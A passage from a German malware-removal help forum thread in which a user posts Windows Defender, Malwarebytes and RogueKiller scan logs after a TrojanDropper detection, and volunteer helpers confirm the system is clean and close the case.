Diensts. Error: (02/10/2021 08:45:38 AM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Intel(R) Content Protection HECI Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (02/10/2021 08:45:38 AM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Intel(R) Dynamic Application Loader Host Interface Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (02/10/2021 08:45:38 AM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Der Dienst "Microsoft Office Click-to-Run Service" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 0 Millisekunden durchgeführt: Neustart des Diensts. Error: (02/10/2021 08:45:38 AM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Intel Bluetooth Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Windows Defender: =================================== Date: 2021-02-09 21:57:14.636 Description: Die Windows Defender Antivirus-Überprüfung wurde vor ihrem Abschluss beendet. Überprüfungs-ID: {F9005A07-FEF5-419E-A6E4-456432A2D699} Überprüfungstyp: Antimalware Überprüfungsparameter: Schnellüberprüfung Benutzer: NT-AUTORITÄT\SYSTEM Date: 2021-02-09 17:03:55.334 Description: Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt. Weitere Informationen: https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0 Name: TrojanDropper:Win64/Tnega!MSR ID: 2147771646 Schweregrad: Schwerwiegend Kategorie: Trojaner - Dropper Pfad: file:_C:\Users\jessi\AppData\Local\Temp\GetX64BTIT.exe Erkennungsursprung: Lokaler Computer Erkennungstype: Konkret Erkennungsquelle: Echtzeitschutz Benutzer: DESKTOP-3CDKKUQ\jessi Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Sicherheitsversion: AV: 1.331.554.0, AS: 1.331.554.0, NIS: 1.331.554.0 Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5 Date: 2021-02-08 19:22:06.422 Description: Die Windows Defender Antivirus-Überprüfung wurde vor ihrem Abschluss beendet. Überprüfungs-ID: {FCE1BE1F-5BEF-4E17-885C-EB0F0FC39B4A} Überprüfungstyp: Antimalware Überprüfungsparameter: Schnellüberprüfung Benutzer: NT-AUTORITÄT\SYSTEM Date: 2021-02-08 12:35:44.792 Description: Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt. Weitere Informationen: https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0 Name: TrojanDropper:Win64/Tnega!MSR ID: 2147771646 Schweregrad: Schwerwiegend Kategorie: Trojaner - Dropper Pfad: file:_C:\Users\jessi\AppData\Local\Temp\GetX64BTIT.exe Erkennungsursprung: Lokaler Computer Erkennungstype: Konkret Erkennungsquelle: Echtzeitschutz Benutzer: DESKTOP-3CDKKUQ\jessi Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Sicherheitsversion: AV: 1.331.471.0, AS: 1.331.471.0, NIS: 1.331.471.0 Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5 Date: 2021-02-08 00:24:23.929 Description: Windows Defender Antivirus hat Schadsoftware oder andere potenziell unerwünschte Software erkannt. Weitere Informationen: https://go.microsoft.com/fwlink/?linkid=37020&name=TrojanDropper:Win64/Tnega!MSR&threatid=2147771646&enterprise=0 Name: TrojanDropper:Win64/Tnega!MSR ID: 2147771646 Schweregrad: Schwerwiegend Kategorie: Trojaner - Dropper Pfad: file:_C:\Users\jessi\AppData\Local\Temp\GetX64BTIT.exe Erkennungsursprung: Lokaler Computer Erkennungstype: Konkret Erkennungsquelle: Echtzeitschutz Benutzer: DESKTOP-3CDKKUQ\jessi Prozessname: C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe Sicherheitsversion: AV: 1.331.416.0, AS: 1.331.416.0, NIS: 1.331.416.0 Modulversion: AM: 1.1.17800.5, NIS: 1.1.17800.5 ==================== Speicherinformationen =========================== BIOS: American Megatrends Inc. TP412FA.304 12/18/2019 Hauptplatine: ASUSTeK COMPUTER INC. TP412FA Prozessor: Intel(R) Pentium(R) CPU 5405U @ 2.30GHz Prozentuale Nutzung des RAM: 88% Installierter physikalischer RAM: 3811.75 MB Verfügbarer physikalischer RAM: 431.75 MB Summe virtueller Speicher: 10723.75 MB Verfügbarer virtueller Speicher: 6315.71 MB ==================== Laufwerke ================================ Drive c: (OS) (Fixed) (Total:118.34 GB) (Free:35 GB) NTFS \\?\Volume{38659697-ae6a-43bf-8da8-c90d44b2ed2e}\ (RECOVERY) (Fixed) (Total:0.63 GB) (Free:0.23 GB) NTFS \\?\Volume{6ac10536-38c4-4a9a-b162-44959aafa562}\ (SYSTEM) (Fixed) (Total:0.25 GB) (Free:0.22 GB) FAT32 ==================== MBR & Partitionstabelle ==================== ========================================================== Disk: 0 (Size: 119.2 GB) (Disk ID: 306CC410) Partition: GPT. ==================== Ende von Addition.txt ======================= |
10.02.2021, 12:21 | #11 |
/// Winkelfunktion /// TB-Süch-Tiger™ | Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Kontrollscans mit MBAM und RK Wir sind fast fertig. Jetzt ist es an der Zeit für Kontrollscans mit Poste nach Abschluss der beiden Scans die Logs in CODE-Tags.
__________________ Logfiles bitte immer in CODE-Tags posten |
10.02.2021, 13:04 | #12 |
| Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Hier zunächst die MBAM-Datei: Code:
ATTFilter Malwarebytes www.malwarebytes.com -Protokolldetails- Scan-Datum: 10.02.21 Scan-Zeit: 12:33 Protokolldatei: bc6d1638-6b93-11eb-91de-000000000000.json -Softwaredaten- Version: 4.3.0.98 Komponentenversion: 1.0.1157 Version des Aktualisierungspakets: 1.0.36909 Lizenz: Testversion -Systemdaten- Betriebssystem: Windows 10 (Build 18362.1316) CPU: x64 Dateisystem: NTFS Benutzer: DESKTOP-3CDKKUQ\jessi -Scan-Übersicht- Scan-Typ: Bedrohungs-Scan Scan gestartet von: Manuell Ergebnis: Abgeschlossen Gescannte Objekte: 302221 Erkannte Bedrohungen: 0 In die Quarantäne verschobene Bedrohungen: 0 Abgelaufene Zeit: 6 Min., 2 Sek. -Scan-Optionen- Speicher: Aktiviert Start: Aktiviert Dateisystem: Aktiviert Archive: Aktiviert Rootkits: Aktiviert Heuristik: Aktiviert PUP: Erkennung PUM: Erkennung -Scan-Details- Prozess: 0 (keine bösartigen Elemente erkannt) Modul: 0 (keine bösartigen Elemente erkannt) Registrierungsschlüssel: 0 (keine bösartigen Elemente erkannt) Registrierungswert: 0 (keine bösartigen Elemente erkannt) Registrierungsdaten: 0 (keine bösartigen Elemente erkannt) Daten-Stream: 0 (keine bösartigen Elemente erkannt) Ordner: 0 (keine bösartigen Elemente erkannt) Datei: 0 (keine bösartigen Elemente erkannt) Physischer Sektor: 0 (keine bösartigen Elemente erkannt) WMI: 0 (keine bösartigen Elemente erkannt) (end) Code:
ATTFilter RogueKiller Anti-Malware V14.8.4.0 (x64) [Jan 13 2021] (Free) von Adlice Software Mail : https://adlice.com/contact/ Website : https://adlice.com/download/roguekiller/ Betriebssystem : Windows 10 (10.0.18363) 64 bits Gestartet in : Normaler Modus Benutzer : jessi [Administrator] Gestartet von : C:\Users\jessi\Desktop\RogueKiller_portable64.exe Signaturen : 20210208_123054, Treiber : Geladen Modus : Standard-Scan, Löschen -- Datum : 2021/02/10 13:01:45 (Dauer : 00:14:52) ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ Löschen ¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤¤ [PUP.Gen1 (Potenziell bösartig)] HKEY_USERS\S-1-5-21-2182537211-1894200014-2545026951-1001\Software\OCS -- -> Gelöscht |
10.02.2021, 13:07 | #13 |
/// Winkelfunktion /// TB-Süch-Tiger™ | Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Dann wären wir durch! Wenn Du möchtest, kannst Du hier sagen, ob Du mit mir und meiner Hilfe zufrieden warst...und/oder das Forum mit einer kleinen Spende unterstützen. Abschließend bitte noch einen Cleanup mit unserem TB-Cleanup-Script durchführen und unbedingt die Sicherheitsmaßnahmen lesen und umsetzen - beides ist in folgendem Lesestoff verlinkt:
__________________ Logfiles bitte immer in CODE-Tags posten |
11.02.2021, 11:11 | #14 |
/// TB-Ausbilder | Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch Wir sind froh, dass wir helfen konnten Dieses Thema scheint erledigt und wird aus unseren Abos gelöscht. Solltest Du das Thema erneut brauchen, schicke uns bitte eine Erinnerung inklusive Link zum Thema. Jeder andere bitte hier klicken und ein eigenes Thema erstellen. |
Themen zu Windows 10 / TrojanDropper:Win64/Tnega!MSR zweiter Versuch |
adobe, antivirus, computer, cpu, defender, firefox, flash player, gesperrt, google, home, homepage, internet, internet explorer, mozilla, port, prozesse, realtek, registry, scan, schulung, system, trojaner, udp, updates, windows |